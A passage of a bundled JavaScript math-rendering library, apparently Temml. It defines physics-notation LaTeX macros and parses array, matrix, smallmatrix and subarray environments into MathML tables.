7118defineMacro("\\norm", "{\\left\\Vert #1 \\right\\Vert}");
7119defineMacro("\\evaluated", "{\\left.#1 \\right\\vert}");
7120defineMacro("\\eval", "{\\left.#1 \\right\\vert}");
7121defineMacro("\\order", "{\\mathcal{O} \\left( #1 \\right)}");
7122defineMacro("\\commutator", "{\\left[ #1 , #2 \\right]}");
7123defineMacro("\\comm", "{\\left[ #1 , #2 \\right]}");
7124defineMacro("\\anticommutator", "{\\left\\{ #1 , #2 \\right\\}}");
7125defineMacro("\\acomm", "{\\left\\{ #1 , #2 \\right\\}}");
7126defineMacro("\\poissonbracket", "{\\left\\{ #1 , #2 \\right\\}}");
7127defineMacro("\\pb", "{\\left\\{ #1 , #2 \\right\\}}");
7128defineMacro("\\vectorbold", "{\\boldsymbol{ #1 }}");
7129defineMacro("\\vb", "{\\boldsymbol{ #1 }}");
7130defineMacro("\\vectorarrow", "{\\vec{\\boldsymbol{ #1 }}}");
7131defineMacro("\\va", "{\\vec{\\boldsymbol{ #1 }}}");
7132defineMacro("\\vectorunit", "{{\\boldsymbol{\\hat{ #1 }}}}");
7133defineMacro("\\vu", "{{\\boldsymbol{\\hat{ #1 }}}}");
7134defineMacro("\\dotproduct", "\\mathbin{\\boldsymbol\\cdot}");
7135defineMacro("\\vdot", "{\\boldsymbol\\cdot}");
7136defineMacro("\\crossproduct", "\\mathbin{\\boldsymbol\\times}");
7137defineMacro("\\cross", "\\mathbin{\\boldsymbol\\times}");
7138defineMacro("\\cp", "\\mathbin{\\boldsymbol\\times}");
7139defineMacro("\\gradient", "{\\boldsymbol\\nabla}");
7140defineMacro("\\grad", "{\\boldsymbol\\nabla}");
7141defineMacro("\\divergence", "{\\grad\\vdot}");
7142//defineMacro("\\div", "{\\grad\\vdot}"); Not included in Temml. Conflicts w/LaTeX \div
7143defineMacro("\\curl", "{\\grad\\cross}");
7144defineMacro("\\laplacian", "\\nabla^2");
7145defineMacro("\\tr", "{\\operatorname{tr}}");
7146defineMacro("\\Tr", "{\\operatorname{Tr}}");
7147defineMacro("\\rank", "{\\operatorname{rank}}");
7148defineMacro("\\erf", "{\\operatorname{erf}}");
7149defineMacro("\\Res", "{\\operatorname{Res}}");
7150defineMacro("\\principalvalue", "{\\mathcal{P}}");
7151defineMacro("\\pv", "{\\mathcal{P}}");
7152defineMacro("\\PV", "{\\operatorname{P.V.}}");
7153// Temml does not use the next two lines. They conflict with LaTeX letters.
7154//defineMacro("\\Re", "{\\operatorname{Re} \\left\\{ #1 \\right\\}}");
7155//defineMacro("\\Im", "{\\operatorname{Im} \\left\\{ #1 \\right\\}}");
7156defineMacro("\\qqtext", "{\\quad\\text{ #1 }\\quad}");
7157defineMacro("\\qq", "{\\quad\\text{ #1 }\\quad}");
7158defineMacro("\\qcomma", "{\\text{,}\\quad}");
7159defineMacro("\\qc", "{\\text{,}\\quad}");
7160defineMacro("\\qcc", "{\\quad\\text{c.c.}\\quad}");
7161defineMacro("\\qif", "{\\quad\\text{if}\\quad}");
7162defineMacro("\\qthen", "{\\quad\\text{then}\\quad}");
7163defineMacro("\\qelse", "{\\quad\\text{else}\\quad}");
7164defineMacro("\\qotherwise", "{\\quad\\text{otherwise}\\quad}");
7165defineMacro("\\qunless", "{\\quad\\text{unless}\\quad}");
7166defineMacro("\\qgiven", "{\\quad\\text{given}\\quad}");
7167defineMacro("\\qusing", "{\\quad\\text{using}\\quad}");
7168defineMacro("\\qassume", "{\\quad\\text{assume}\\quad}");
7169defineMacro("\\qsince", "{\\quad\\text{since}\\quad}");
7170defineMacro("\\qlet", "{\\quad\\text{let}\\quad}");
7171defineMacro("\\qfor", "{\\quad\\text{for}\\quad}");
7172defineMacro("\\qall", "{\\quad\\text{all}\\quad}");
7173defineMacro("\\qeven", "{\\quad\\text{even}\\quad}");
7174defineMacro("\\qodd", "{\\quad\\text{odd}\\quad}");
7175defineMacro("\\qinteger", "{\\quad\\text{integer}\\quad}");
7176defineMacro("\\qand", "{\\quad\\text{and}\\quad}");
7177defineMacro("\\qor", "{\\quad\\text{or}\\quad}");
7178defineMacro("\\qas", "{\\quad\\text{as}\\quad}");
7179defineMacro("\\qin", "{\\quad\\text{in}\\quad}");
7180defineMacro("\\differential", "{\\text{d}}");
7181defineMacro("\\dd", "{\\text{d}}");
7182defineMacro("\\derivative", "{\\frac{\\text{d}{ #1 }}{\\text{d}{ #2 }}}");
7183defineMacro("\\dv", "{\\frac{\\text{d}{ #1 }}{\\text{d}{ #2 }}}");
7184defineMacro("\\partialderivative", "{\\frac{\\partial{ #1 }}{\\partial{ #2 }}}");
7185defineMacro("\\variation", "{\\delta}");
7186defineMacro("\\var", "{\\delta}");
7187defineMacro("\\functionalderivative", "{\\frac{\\delta{ #1 }}{\\delta{ #2 }}}");
7188defineMacro("\\fdv", "{\\frac{\\delta{ #1 }}{\\delta{ #2 }}}");
7189defineMacro("\\innerproduct", "{\\left\\langle {#1} \\mid { #2} \\right\\rangle}");
7190defineMacro("\\outerproduct",
7191 "{\\left\\vert { #1 } \\right\\rangle\\left\\langle { #2} \\right\\vert}");
7192defineMacro("\\dyad",
7193 "{\\left\\vert { #1 } \\right\\rangle\\left\\langle { #2} \\right\\vert}");
7194defineMacro("\\ketbra",
7195 "{\\left\\vert { #1 } \\right\\rangle\\left\\langle { #2} \\right\\vert}");
7196defineMacro("\\op",
7197 "{\\left\\vert { #1 } \\right\\rangle\\left\\langle { #2} \\right\\vert}");
7198defineMacro("\\expectationvalue", "{\\left\\langle {#1 } \\right\\rangle}");
7199defineMacro("\\expval", "{\\left\\langle {#1 } \\right\\rangle}");
7200defineMacro("\\ev", "{\\left\\langle {#1 } \\right\\rangle}");
7201defineMacro("\\matrixelement",
7202 "{\\left\\langle{ #1 }\\right\\vert{ #2 }\\left\\vert{#3}\\right\\rangle}");
7203defineMacro("\\matrixel",
7204 "{\\left\\langle{ #1 }\\right\\vert{ #2 }\\left\\vert{#3}\\right\\rangle}");
7205defineMacro("\\mel",
7206 "{\\left\\langle{ #1 }\\right\\vert{ #2 }\\left\\vert{#3}\\right\\rangle}");
7207
7208// Helper functions
7209function getHLines(parser) {
7210 // Return an array. The array length = number of hlines.
7211 // Each element in the array tells if the line is dashed.
7212 const hlineInfo = [];
7213 parser.consumeSpaces();
7214 let nxt = parser.fetch().text;
7215 if (nxt === "\\relax") {
7216 parser.consume();
7217 parser.consumeSpaces();
7218 nxt = parser.fetch().text;
7219 }
7220 while (nxt === "\\hline" || nxt === "\\hdashline") {
7221 parser.consume();
7222 hlineInfo.push(nxt === "\\hdashline");
7223 parser.consumeSpaces();
7224 nxt = parser.fetch().text;
7225 }
7226 return hlineInfo;
7227}
7228
7229const validateAmsEnvironmentContext = context => {
7230 const settings = context.parser.settings;
7231 if (!settings.displayMode) {
7232 throw new ParseError(`{${context.envName}} can be used only in display mode.`);
7233 }
7234};
7235
7236const sizeRegEx$1 = /([-+]?) *(\d+(?:\.\d*)?|\.\d+) *([a-z]{2})/;
7237const arrayGaps = macros => {
7238 let arraystretch = macros.get("\\arraystretch");
7239 if (typeof arraystretch !== "string") {
7240 arraystretch = stringFromArg(arraystretch.tokens);
7241 }
7242 arraystretch = isNaN(arraystretch) ? null : Number(arraystretch);
7243 let arraycolsepStr = macros.get("\\arraycolsep");
7244 if (typeof arraycolsepStr !== "string") {
7245 arraycolsepStr = stringFromArg(arraycolsepStr.tokens);
7246 }
7247 const match = sizeRegEx$1.exec(arraycolsepStr);
7248 const arraycolsep = match
7249 ? { number: +(match[1] + match[2]), unit: match[3] }
7250 : null;
7251 return [arraystretch, arraycolsep]
7252};
7253
7254const checkCellForLabels = cell => {
7255 // Check if the author wrote a \tag{} inside this cell.
7256 let rowLabel = "";
7257 for (let i = 0; i < cell.length; i++) {
7258 if (cell[i].type === "label") {
7259 if (rowLabel) { throw new ParseError(("Multiple \\labels in one row")) }
7260 rowLabel = cell[i].string;
7261 }
7262 }
7263 return rowLabel
7264};
7265
7266// autoTag (an argument to parseArray) can be one of three values:
7267// * undefined: Regular (not-top-level) array; no tags on each row
7268// * true: Automatic equation numbering, overridable by \tag
7269// * false: Tags allowed on each row, but no automatic numbering
7270// This function *doesn't* work with the "split" environment name.
7271function getAutoTag(name) {
7272 if (name.indexOf("ed") === -1) {
7273 return name.indexOf("*") === -1;
7274 }
7275 // return undefined;
7276}
7277
7278/**
7279 * Parse the body of the environment, with rows delimited by \\ and
7280 * columns delimited by &, and create a nested list in row-major order
7281 * with one group per cell. If given an optional argument scriptLevel
7282 * ("text", "display", etc.), then each cell is cast into that scriptLevel.
7283 */
7284function parseArray(
7285 parser,
7286 {
7287 cols, // [{ type: string , align: l|c|r|null }]
7288 envClasses, // align(ed|at|edat) | array | cases | cd | small | multline
7289 autoTag, // boolean
7290 singleRow, // boolean
7291 emptySingleRow, // boolean
7292 maxNumCols, // number
7293 leqno, // boolean
7294 arraystretch, // number | null
7295 arraycolsep // size value | null
7296},
7297 scriptLevel
7298) {
7299 parser.gullet.beginGroup();
7300 if (!singleRow) {
7301 // \cr is equivalent to \\ without the optional size argument (see below)
7302 // TODO: provide helpful error when \cr is used outside array environment
7303 parser.gullet.macros.set("\\cr", "\\\\\\relax");
7304 }
7305
7306 // Start group for first cell
7307 parser.gullet.beginGroup();
7308
7309 let row = [];
7310 const body = [row];
7311 const rowGaps = [];
7312 const labels = [];
7313
7314 const hLinesBeforeRow = [];
7315
7316 const tags = (autoTag != null ? [] : undefined);
7317
7318 // amsmath uses \global\@eqnswtrue and \global\@eqnswfalse to represent
7319 // whether this row should have an equation number. Simulate this with
7320 // a \@eqnsw macro set to 1 or 0.
7321 function beginRow() {
7322 if (autoTag) {
7323 parser.gullet.macros.set("\\@eqnsw", "1", true);
7324 }
7325 }
7326 function endRow() {
7327 if (tags) {
7328 if (parser.gullet.macros.get("\\df@tag")) {
7329 tags.push(parser.subparse([new Token("\\df@tag")]));
7330 parser.gullet.macros.set("\\df@tag", undefined, true);
7331 } else {
7332 tags.push(Boolean(autoTag) &&
7333 parser.gullet.macros.get("\\@eqnsw") === "1");
7334 }
7335 }
7336 }
7337 beginRow();
7338
7339 // Test for \hline at the top of the array.
7340 hLinesBeforeRow.push(getHLines(parser));
7341
7342 while (true) {
7343 // Parse each cell in its own group (namespace)
7344 let cell = parser.parseExpression(false, singleRow ? "\\end" : "\\\\");
7345 parser.gullet.endGroup();
7346 parser.gullet.beginGroup();
7347
7348 cell = {
7349 type: "ordgroup",
7350 mode: parser.mode,
7351 body: cell,
7352 semisimple: true
7353 };
7354 row.push(cell);
7355 const next = parser.fetch().text;
7356 if (next === "&") {
7357 if (maxNumCols && row.length === maxNumCols) {
7358 if (envClasses.includes("array")) {
7359 if (parser.settings.strict) {
7360 throw new ParseError("Too few columns " + "specified in the {array} column argument.",
7361 parser.nextToken)
7362 }
7363 } else if (maxNumCols === 2) {
7364 throw new ParseError("The split environment accepts no more than two columns",
7365 parser.nextToken);
7366 } else {
7367 throw new ParseError("The equation environment accepts only one column",
7368 parser.nextToken)
7369 }
7370 }
7371 parser.consume();
7372 } else if (next === "\\end") {
7373 endRow();
7374 // Arrays terminate newlines with `\crcr` which consumes a `\cr` if
7375 // the last line is empty. However, AMS environments keep the
7376 // empty row if it's the only one.
7377 // NOTE: Currently, `cell` is the last item added into `row`.
7378 if (row.length === 1 && cell.body.length === 0 && (body.length > 1 || !emptySingleRow)) {
7379 body.pop();
7380 }
7381 labels.push(checkCellForLabels(cell.body));
7382 if (hLinesBeforeRow.length < body.length + 1) {
7383 hLinesBeforeRow.push([]);
7384 }
7385 break;
7386 } else if (next === "\\\\") {
7387 parser.consume();
7388 let size;
7389 // \def\Let@{\let\\\math@cr}
7390 // \def\math@cr{...\math@cr@}
7391 // \def\math@cr@{\new@ifnextchar[\math@cr@@{\math@cr@@[\z@]}}
7392 // \def\math@cr@@[#1]{...\math@cr@@@...}
7393 // \def\math@cr@@@{\cr}
7394 if (parser.gullet.future().text !== " ") {
7395 size = parser.parseSizeGroup(true);
7396 }
7397 rowGaps.push(size ? size.value : null);
7398 endRow();
7399
7400 labels.push(checkCellForLabels(cell.body));
7401
7402 // check for \hline(s) following the row separator
7403 hLinesBeforeRow.push(getHLines(parser));
7404
7405 row = [];
7406 body.push(row);
7407 beginRow();
7408 } else {
7409 throw new ParseError("Expected & or \\\\ or \\cr or \\end", parser.nextToken);
7410 }
7411 }
7412
7413 // End cell group
7414 parser.gullet.endGroup();
7415 // End array group defining \cr
7416 parser.gullet.endGroup();
7417
7418 return {
7419 type: "array",
7420 mode: parser.mode,
7421 body,
7422 cols,
7423 rowGaps,
7424 hLinesBeforeRow,
7425 envClasses,
7426 autoTag,
7427 scriptLevel,
7428 tags,
7429 labels,
7430 leqno,
7431 arraystretch,
7432 arraycolsep
7433 };
7434}
7435
7436// Decides on a scriptLevel for cells in an array according to whether the given
7437// environment name starts with the letter 'd'.
7438function dCellStyle(envName) {
7439 return envName.slice(0, 1) === "d" ? "display" : "text"
7440}
7441
7442const alignMap = {
7443 c: "center ",
7444 l: "left ",
7445 r: "right "
7446};
7447
7448const glue = group => {
7449 const glueNode = new mathMLTree.MathNode("mtd", []);
7450 glueNode.style = { padding: "0", width: "50%" };
7451 if (group.envClasses.includes("multline")) {
7452 glueNode.style.width = "7.5%";
7453 }
7454 return glueNode
7455};
7456
7457const mathmlBuilder$7 = function(group, style) {
7458 const tbl = [];
7459 const numRows = group.body.length;
7460 const hlines = group.hLinesBeforeRow;
7461
7462 for (let i = 0; i < numRows; i++) {
7463 const rw = group.body[i];
7464 const row = [];
7465 const cellLevel = group.scriptLevel === "text"
7466 ? StyleLevel.TEXT
7467 : group.scriptLevel === "script"
7468 ? StyleLevel.SCRIPT
7469 : StyleLevel.DISPLAY;
7470
7471 for (let j = 0; j < rw.length; j++) {
7472 const mtd = new mathMLTree.MathNode(
7473 "mtd",
7474 [buildGroup$1(rw[j], style.withLevel(cellLevel))]
7475 );
7476
7477 if (group.envClasses.includes("multline")) {
7478 const align = i === 0 ? "left" : i === numRows - 1 ? "right" : "center";
7479 mtd.setAttribute("columnalign", align);
7480 if (align !== "center") {
7481 mtd.classes.push("tml-" + align);
7482 }
7483 }
7484 row.push(mtd);
7485 }
7486 const numColumns = group.body[0].length;
7487 // Fill out a short row with empty <mtd> elements.
7488 for (let k = 0; k < numColumns - rw.length; k++) {
7489 row.push(new mathMLTree.MathNode("mtd", [], style));
7490 }
7491 if (group.autoTag) {
7492 const tag = group.tags[i];
7493 let tagElement;
7494 if (tag === true) { // automatic numbering
7495 tagElement = new mathMLTree.MathNode("mtext", [new Span(["tml-eqn"])]);
7496 } else if (tag === false) {
7497 // \nonumber/\notag or starred environment
7498 tagElement = new mathMLTree.MathNode("mtext", [], []);
7499 } else { // manual \tag
7500 tagElement = buildExpressionRow(tag[0].body, style.withLevel(cellLevel), true);
7501 tagElement = consolidateText(tagElement);
7502 tagElement.classes = ["tml-tag"];
7503 }
7504 if (tagElement) {
7505 row.unshift(glue(group));
7506 row.push(glue(group));
7507 if (group.leqno) {
7508 row[0].children.push(tagElement);
7509 row[0].classes.push("tml-left");
7510 } else {
7511 row[row.length - 1].children.push(tagElement);
7512 row[row.length - 1].classes.push("tml-right");
7513 }
7514 }
7515 }
7516 const mtr = new mathMLTree.MathNode("mtr", row, []);
7517 const label = group.labels.shift();
7518 if (label && group.tags && group.tags[i]) {
7519 mtr.setAttribute("id", label);
7520 if (Array.isArray(group.tags[i])) { mtr.classes.push("tml-tageqn"); }
7521 }
7522
7523 // Write horizontal rules
7524 if (i === 0 && hlines[0].length > 0) {
7525 if (hlines[0].length === 2) {
7526 mtr.children.forEach(cell => { cell.style.borderTop = "0.15em double"; });
7527 } else {
7528 mtr.children.forEach(cell => {
7529 cell.style.borderTop = hlines[0][0] ? "0.06em dashed" : "0.06em solid";
7530 });
7531 }
7532 }
7533 if (hlines[i + 1].length > 0) {
7534 if (hlines[i + 1].length === 2) {
7535 mtr.children.forEach(cell => { cell.style.borderBottom = "0.15em double"; });
7536 } else {
7537 mtr.children.forEach(cell => {
7538 cell.style.borderBottom = hlines[i + 1][0] ? "0.06em dashed" : "0.06em solid";
7539 });
7540 }
7541 }
7542 tbl.push(mtr);
7543 }
7544
7545 if (group.envClasses.length > 0) {
7546 if (group.arraystretch && group.arraystretch !== 1) {
7547 // In LaTeX, \arraystretch is a factor applied to a 12pt strut height.
7548 // It defines a baseline to baseline distance.
7549 // Here, we do an approximation of that approach.
7550 const pad = String(1.4 * group.arraystretch - 0.8) + "ex";
7551 for (let i = 0; i < tbl.length; i++) {
7552 for (let j = 0; j < tbl[i].children.length; j++) {
7553 tbl[i].children[j].style.paddingTop = pad;
7554 tbl[i].children[j].style.paddingBottom = pad;
7555 }
7556 }
7557 }
7558 let sidePadding = group.envClasses.includes("abut")
7559 ? "0"
7560 : group.envClasses.includes("cases")
7561 ? "0"
7562 : group.envClasses.includes("small")
7563 ? "0.1389"
7564 : group.envClasses.includes("cd")
7565 ? "0.25"
7566 : "0.4"; // default side padding
7567 let sidePadUnit = "em";
7568 if (group.arraycolsep) {
7569 const arraySidePad = calculateSize(group.arraycolsep, style);
7570 sidePadding = arraySidePad.number.toFixed(4);
7571 sidePadUnit = arraySidePad.unit;
7572 }
7573
7574 const numCols = tbl.length === 0 ? 0 : tbl[0].children.length;
7575
7576 const sidePad = (j, hand) => {
7577 if (j === 0 && hand === 0) { return "0" }
7578 if (j === numCols - 1 && hand === 1) { return "0" }
7579 if (group.envClasses[0] !== "align") { return sidePadding }
7580 if (hand === 1) { return "0" }
7581 if (group.autoTag) {
7582 return (j % 2) ? "1" : "0"
7583 } else {
7584 return (j % 2) ? "0" : "1"
7585 }
7586 };
7587
7588 // Side padding
7589 for (let i = 0; i < tbl.length; i++) {
7590 for (let j = 0; j < tbl[i].children.length; j++) {
7591 tbl[i].children[j].style.paddingLeft = `${sidePad(j, 0)}${sidePadUnit}`;
7592 tbl[i].children[j].style.paddingRight = `${sidePad(j, 1)}${sidePadUnit}`;
7593 }
7594 }
7595
7596 // Justification
7597 const align = group.envClasses.includes("align") || group.envClasses.includes("alignat");
7598 for (let i = 0; i < tbl.length; i++) {
7599 const row = tbl[i];
7600 if (align) {
7601 for (let j = 0; j < row.children.length; j++) {
7602 // Chromium does not recognize text-align: left. Use -webkit-
7603 // TODO: Remove -webkit- when Chromium no longer needs it.
7604 row.children[j].classes = ["tml-" + (j % 2 ? "left" : "right")];
7605 }
7606 if (group.autoTag) {
7607 const k = group.leqno ? 0 : row.children.length - 1;
7608 row.children[k].classes = ["tml-" + (group.leqno ? "left" : "right")];
7609 }
7610 }
7611 if (row.children.length > 1 && group.envClasses.includes("cases")) {
7612 row.children[1].style.paddingLeft = "1em";
7613 }
7614
7615 if (group.envClasses.includes("cases") || group.envClasses.includes("subarray")) {
7616 for (const cell of row.children) {
7617 cell.classes.push("tml-left");
7618 }
7619 }
7620 }
7621 } else {
7622 // Set zero padding on side of the matrix
7623 for (let i = 0; i < tbl.length; i++) {
7624 tbl[i].children[0].style.paddingLeft = "0em";
7625 if (tbl[i].children.length === tbl[0].children.length) {
7626 tbl[i].children[tbl[i].children.length - 1].style.paddingRight = "0em";
7627 }
7628 }
7629 }
7630
7631 let table = new mathMLTree.MathNode("mtable", tbl);
7632 if (group.envClasses.length > 0) {
7633 // Top & bottom padding
7634 if (group.envClasses.includes("jot")) {
7635 table.classes.push("tml-jot");
7636 } else if (group.envClasses.includes("small")) {
7637 table.classes.push("tml-small");
7638 }
7639 }
7640 if (group.scriptLevel === "display") { table.setAttribute("displaystyle", "true"); }
7641
7642 if (group.autoTag || group.envClasses.includes("multline")) {
7643 table.style.width = "100%";
7644 }
7645
7646 // Column separator lines and column alignment
7647 let align = "";
7648
7649 if (group.cols && group.cols.length > 0) {
7650 const cols = group.cols;
7651 let prevTypeWasAlign = false;
7652 let iStart = 0;
7653 let iEnd = cols.length;
7654
7655 while (cols[iStart].type === "separator") {
7656 iStart += 1;
7657 }
7658 while (cols[iEnd - 1].type === "separator") {
7659 iEnd -= 1;
7660 }
7661
7662 if (cols[0].type === "separator") {
7663 const sep = cols[1].type === "separator"
7664 ? "0.15em double"
7665 : cols[0].separator === "|"
7666 ? "0.06em solid "
7667 : "0.06em dashed ";
7668 for (const row of table.children) {
7669 row.children[0].style.borderLeft = sep;
7670 }
7671 }
7672 let iCol = group.autoTag ? 0 : -1;
7673 for (let i = iStart; i < iEnd; i++) {
7674 if (cols[i].type === "align") {
7675 const colAlign = alignMap[cols[i].align];
7676 align += colAlign;
7677 iCol += 1;
7678 for (const row of table.children) {
7679 if (colAlign.trim() !== "center" && iCol < row.children.length) {
7680 row.children[iCol].classes = ["tml-" + colAlign.trim()];
7681 }
7682 }
7683 prevTypeWasAlign = true;
7684 } else if (cols[i].type === "separator") {
7685 // MathML accepts only single lines between cells.
7686 // So we read only the first of consecutive separators.
7687 if (prevTypeWasAlign) {
7688 const sep = cols[i + 1].type === "separator"
7689 ? "0.15em double"
7690 : cols[i].separator === "|"
7691 ? "0.06em solid"
7692 : "0.06em dashed";
7693 for (const row of table.children) {
7694 if (iCol < row.children.length) {
7695 row.children[iCol].style.borderRight = sep;
7696 }
7697 }
7698 }
7699 prevTypeWasAlign = false;
7700 }
7701 }
7702 if (cols[cols.length - 1].type === "separator") {
7703 const sep = cols[cols.length - 2].type === "separator"
7704 ? "0.15em double"
7705 : cols[cols.length - 1].separator === "|"
7706 ? "0.06em solid"
7707 : "0.06em dashed";
7708 for (const row of table.children) {
7709 row.children[row.children.length - 1].style.borderRight = sep;
7710 row.children[row.children.length - 1].style.paddingRight = "0.4em";
7711 }
7712 }
7713 }
7714 if (group.autoTag) {
7715 // allow for glue cells on each side
7716 align = "left " + (align.length > 0 ? align : "center ") + "right ";
7717 }
7718 if (align) {
7719 // Firefox reads this attribute, not the -webkit-left|right written above.
7720 // TODO: When Chrome no longer needs "-webkit-", use CSS and delete the next line.
7721 table.setAttribute("columnalign", align.trim());
7722 }
7723
7724 if (group.envClasses.includes("small")) {
7725 // A small array. Wrap in scriptstyle.
7726 table = new mathMLTree.MathNode("mstyle", [table]);
7727 table.setAttribute("scriptlevel", "1");
7728 }
7729
7730 return table
7731};
7732
7733// Convenience function for align, align*, aligned, alignat, alignat*, alignedat, split.
7734const alignedHandler = function(context, args) {
7735 if (context.envName.indexOf("ed") === -1) {
7736 validateAmsEnvironmentContext(context);
7737 }
7738 const isSplit = context.envName === "split";
7739 const cols = [];
7740 const res = parseArray(
7741 context.parser,
7742 {
7743 cols,
7744 emptySingleRow: true,
7745 autoTag: isSplit ? undefined : getAutoTag(context.envName),
7746 envClasses: ["abut", "jot"], // set row spacing & provisional column spacing
7747 maxNumCols: context.envName === "split" ? 2 : undefined,
7748 leqno: context.parser.settings.leqno
7749 },
7750 "display"
7751 );
7752
7753 // Determining number of columns.
7754 // 1. If the first argument is given, we use it as a number of columns,
7755 // and makes sure that each row doesn't exceed that number.
7756 // 2. Otherwise, just count number of columns = maximum number
7757 // of cells in each row ("aligned" mode -- isAligned will be true).
7758 //
7759 // At the same time, prepend empty group {} at beginning of every second
7760 // cell in each row (starting with second cell) so that operators become
7761 // binary. This behavior is implemented in amsmath's \start@aligned.
7762 let numMaths;
7763 let numCols = 0;
7764 const isAlignedAt = context.envName.indexOf("at") > -1;
7765 if (args[0] && isAlignedAt) {
7766 // alignat environment takes an argument w/ number of columns
7767 let arg0 = "";
7768 for (let i = 0; i < args[0].body.length; i++) {
7769 const textord = assertNodeType(args[0].body[i], "textord");
7770 arg0 += textord.text;
7771 }
7772 if (isNaN(arg0)) {
7773 throw new ParseError("The alignat enviroment requires a numeric first argument.")
7774 }
7775 numMaths = Number(arg0);
7776 numCols = numMaths * 2;
7777 }
7778 res.body.forEach(function(row) {
7779 if (isAlignedAt) {
7780 // Case 1
7781 const curMaths = row.length / 2;
7782 if (numMaths < curMaths) {
7783 throw new ParseError(
7784 "Too many math in a row: " + `expected ${numMaths}, but got ${curMaths}`,
7785 row[0]
7786 );
7787 }
7788 } else if (numCols < row.length) {
7789 // Case 2
7790 numCols = row.length;
7791 }
7792 });
7793
7794 // Adjusting alignment.
7795 // In aligned mode, we add one \qquad between columns;
7796 // otherwise we add nothing.
7797 for (let i = 0; i < numCols; ++i) {
7798 let align = "r";
7799 if (i % 2 === 1) {
7800 align = "l";
7801 }
7802 cols[i] = {
7803 type: "align",
7804 align: align
7805 };
7806 }
7807 if (context.envName === "split") ; else if (isAlignedAt) {
7808 res.envClasses.push("alignat"); // Sets justification
7809 } else {
7810 res.envClasses[0] = "align"; // Sets column spacing & justification
7811 }
7812 return res;
7813};
7814
7815// Arrays are part of LaTeX, defined in lttab.dtx so its documentation
7816// is part of the source2e.pdf file of LaTeX2e source documentation.
7817// {darray} is an {array} environment where cells are set in \displaystyle,
7818// as defined in nccmath.sty.
7819defineEnvironment({
7820 type: "array",
7821 names: ["array", "darray"],
7822 props: {
7823 numArgs: 1
7824 },
7825 handler(context, args) {
7826 // Since no types are specified above, the two possibilities are
7827 // - The argument is wrapped in {} or [], in which case Parser's
7828 // parseGroup() returns an "ordgroup" wrapping some symbol node.
7829 // - The argument is a bare symbol node.
7830 const symNode = checkSymbolNodeType(args[0]);
7831 const colalign = symNode ? [args[0]] : assertNodeType(args[0], "ordgroup").body;
7832 const cols = colalign.map(function(nde) {
7833 const node = assertSymbolNodeType(nde);
7834 const ca = node.text;
7835 if ("lcr".indexOf(ca) !== -1) {
7836 return {
7837 type: "align",
7838 align: ca
7839 };
7840 } else if (ca === "|") {
7841 return {
7842 type: "separator",
7843 separator: "|"
7844 };
7845 } else if (ca === ":") {
7846 return {
7847 type: "separator",
7848 separator: ":"
7849 };
7850 }
7851 throw new ParseError("Unknown column alignment: " + ca, nde);
7852 });
7853 const [arraystretch, arraycolsep] = arrayGaps(context.parser.gullet.macros);
7854 const res = {
7855 cols,
7856 envClasses: ["array"],
7857 maxNumCols: cols.length,
7858 arraystretch,
7859 arraycolsep
7860 };
7861 return parseArray(context.parser, res, dCellStyle(context.envName));
7862 },
7863 mathmlBuilder: mathmlBuilder$7
7864});
7865
7866// The matrix environments of amsmath builds on the array environment
7867// of LaTeX, which is discussed above.
7868// The mathtools package adds starred versions of the same environments.
7869// These have an optional argument to choose left|center|right justification.
7870defineEnvironment({
7871 type: "array",
7872 names: [
7873 "matrix",
7874 "pmatrix",
7875 "bmatrix",
7876 "Bmatrix",
7877 "vmatrix",
7878 "Vmatrix",
7879 "matrix*",
7880 "pmatrix*",
7881 "bmatrix*",
7882 "Bmatrix*",
7883 "vmatrix*",
7884 "Vmatrix*"
7885 ],
7886 props: {
7887 numArgs: 0
7888 },
7889 handler(context) {
7890 const delimiters = {
7891 matrix: null,
7892 pmatrix: ["(", ")"],
7893 bmatrix: ["[", "]"],
7894 Bmatrix: ["\\{", "\\}"],
7895 vmatrix: ["|", "|"],
7896 Vmatrix: ["\\Vert", "\\Vert"]
7897 }[context.envName.replace("*", "")];
7898 // \hskip -\arraycolsep in amsmath
7899 let colAlign = "c";
7900 const payload = {
7901 envClasses: [],
7902 cols: []
7903 };
7904 if (context.envName.charAt(context.envName.length - 1) === "*") {
7905 // It's one of the mathtools starred functions.
7906 // Parse the optional alignment argument.
7907 const parser = context.parser;
7908 parser.consumeSpaces();
7909 if (parser.fetch().text === "[") {
7910 parser.consume();
7911 parser.consumeSpaces();
7912 colAlign = parser.fetch().text;
7913 if ("lcr".indexOf(colAlign) === -1) {
7914 throw new ParseError("Expected l or c or r", parser.nextToken);
7915 }
7916 parser.consume();
7917 parser.consumeSpaces();
7918 parser.expect("]");
7919 parser.consume();
7920 payload.cols = [];
7921 }
7922 }
7923 const res = parseArray(context.parser, payload, "text");
7924 res.cols = new Array(res.body[0].length).fill({ type: "align", align: colAlign });
7925 const [arraystretch, arraycolsep] = arrayGaps(context.parser.gullet.macros);
7926 return delimiters
7927 ? {
7928 type: "leftright",
7929 mode: context.mode,
7930 body: [res],
7931 left: delimiters[0],
7932 right: delimiters[1],
7933 rightColor: undefined, // \right uninfluenced by \color in array
7934 arraystretch,
7935 arraycolsep
7936 }
7937 : res;
7938 },
7939 mathmlBuilder: mathmlBuilder$7
7940});
7941
7942defineEnvironment({
7943 type: "array",
7944 names: ["smallmatrix"],
7945 props: {
7946 numArgs: 0
7947 },
7948 handler(context) {
7949 const payload = { type: "small" };
7950 const res = parseArray(context.parser, payload, "script");
7951 res.envClasses = ["small"];
7952 return res;
7953 },
7954 mathmlBuilder: mathmlBuilder$7
7955});
7956
7957defineEnvironment({
7958 type: "array",
7959 names: ["subarray"],
7960 props: {
7961 numArgs: 1
7962 },
7963 handler(context, args) {
7964 // Parsing of {subarray} is similar to {array}
7965 const symNode = checkSymbolNodeType(args[0]);
7966 const colalign = symNode ? [args[0]] : assertNodeType(args[0], "ordgroup").body;
7967 const cols = colalign.map(function(nde) {
7968 const node = assertSymbolNodeType(nde);
7969 const ca = node.text;
7970 // {subarray} only recognizes "l" & "c"
7971 if ("lc".indexOf(ca) !== -1) {
7972 return {
7973 type: "align",
7974 align: ca
7975 };
7976 }
7977 throw new ParseError("Unknown column alignment: " + ca, nde);
7978 });
7979 if (cols.length > 1) {
7980 throw new ParseError("{subarray} can contain only one column");
7981 }
7982 let res = {
7983 cols,
7984 envClasses: ["small"]
7985 };
7986 res = parseArray(context.parser, res, "script");
7987 if (res.body.length > 0 && res.body[0].length > 1) {
7988 throw new ParseError("{subarray} can contain only one column");
7989 }
7990 return res;
7991 },
7992 mathmlBuilder: mathmlBuilder$7
7993});
7994
7995// A cases environment (in amsmath.sty) is almost equivalent to
7996// \def
7997// \left\{\begin{array}{@{}l@{\quad}l@{}} … \end{array}\right.
